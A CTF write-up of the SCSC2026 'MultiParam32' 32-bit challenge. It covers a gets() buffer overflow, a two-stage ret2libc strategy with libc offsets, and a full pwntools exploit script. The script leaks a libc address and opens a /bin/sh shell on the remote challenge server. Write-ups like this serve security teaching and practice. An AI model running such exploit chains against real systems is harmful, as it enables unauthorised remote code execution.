413 words
2 minutes
SCSC2026 Quals - MultiParam32 - Binary Exploitation Writeup

Category: Binary Exploitation
Server: nc 43.128.69.211 13003
Flag: scsc26{uN3Xp3ctEd_mUlT1_p4r4m}

Challenge Description#

32-bit binary exploitation challenge requiring return-to-libc attack.

Binary Analysis#

$ file multiparam
multiparam: ELF 32-bit LSB executable, Intel 80386, dynamically linked

$ checksec --file=multiparam
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

Disassembly Analysis (main function)#

; Stack layout:
; ebp-0x14: buffer (20 bytes from ebp)
; ebp-0x8:  var2 (loaded into eax if check passes)
; ebp-0x4:  var1 (must equal 0xd34dc4fe)
; ebp:      saved ebp
; ebp+0x4:  return address

mov    DWORD PTR [ebp-0x4], 0x0      ; var1 = 0
lea    eax, [ebp-0x14]               ; buffer address
push   eax
call   gets                          ; VULNERABLE: gets(buffer)
mov    eax, DWORD PTR [ebp-0x4]
cmp    eax, 0xd34dc4fe               ; check if var1 == magic
jne    skip
mov    eax, DWORD PTR [ebp-0x8]      ; load var2 into eax
skip:
push   0x804a008                     ; "Try again?"
call   puts
leave
ret

Vulnerability#

  • gets() has no bounds checking - classic buffer overflow
  • No win function exists - need ret2libc
  • NX enabled - can’t execute shellcode on stack

Exploitation Strategy#

Stage 1: Leak libc address

  1. Overflow buffer to control return address
  2. Return to puts@plt with puts@GOT as argument
  3. This prints the runtime address of puts in libc
  4. Return to main to continue exploitation

Stage 2: Calculate libc addresses

  1. Use leaked puts address to identify libc version
  2. Calculate system() and /bin/sh addresses

Stage 3: Get shell

  1. Overflow again with system("/bin/sh") ROP chain

Identifying Libc Version#

Leaked addresses:

  • puts@libc ending in 0x140
  • gets@libc ending in 0x660

Using libc.rip database:

libc6_2.39-0ubuntu8.4_i386:
  puts:       0x78140
  gets:       0x77660
  system:     0x50430
  str_bin_sh: 0x1c4de8

Final Exploit#

#!/usr/bin/env python3
from pwn import *

context.arch = 'i386'

HOST = '43.128.69.211'
PORT = 13003

# Binary addresses (no PIE)
PUTS_PLT = 0x8049040
PUTS_GOT = 0x804c010
MAIN_ADDR = 0x8049182
MAGIC = 0xd34dc4fe

# libc6_2.39 i386 offsets
PUTS_OFF = 0x78140
SYSTEM_OFF = 0x50430
BINSH_OFF = 0x1c4de8

p = remote(HOST, PORT)

# ============ STAGE 1: Leak libc ============
# Stack: [12 bytes padding][var2][var1=MAGIC][saved_ebp][ret_addr][ret_after][arg]
padding = b'A' * 12
payload1 = padding + p32(0xdeadbeef) + p32(MAGIC) + p32(0x42424242)
payload1 += p32(PUTS_PLT)   # ret to puts@plt
payload1 += p32(MAIN_ADDR)  # return to main after puts
payload1 += p32(PUTS_GOT)   # argument: puts@GOT

p.sendline(payload1)
p.recvuntil(b'Try again?\n')

# Read leaked address
puts_libc = u32(p.recv(4))
log.success(f"Leaked puts@libc: {hex(puts_libc)}")

# ============ STAGE 2: Calculate addresses ============
libc_base = puts_libc - PUTS_OFF
system_addr = libc_base + SYSTEM_OFF
binsh_addr = libc_base + BINSH_OFF

log.info(f"libc base: {hex(libc_base)}")
log.info(f"system: {hex(system_addr)}")
log.info(f"/bin/sh: {hex(binsh_addr)}")

# Clean buffer
sleep(0.2)
try: p.recv(timeout=0.3)
except: pass

# ============ STAGE 3: system("/bin/sh") ============
payload2 = padding + p32(0xdeadbeef) + p32(MAGIC) + p32(0x42424242)
payload2 += p32(system_addr)   # ret to system
payload2 += p32(MAIN_ADDR)     # return after system
payload2 += p32(binsh_addr)    # argument: "/bin/sh"

p.sendline(payload2)
p.interactive()
SCSC2026 Quals - MultiParam32 - Binary Exploitation Writeup
https://blog.rei.my.id/posts/15/scsc2026-quals-multiparam32-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-02-17
License
CC BY-NC-SA 4.0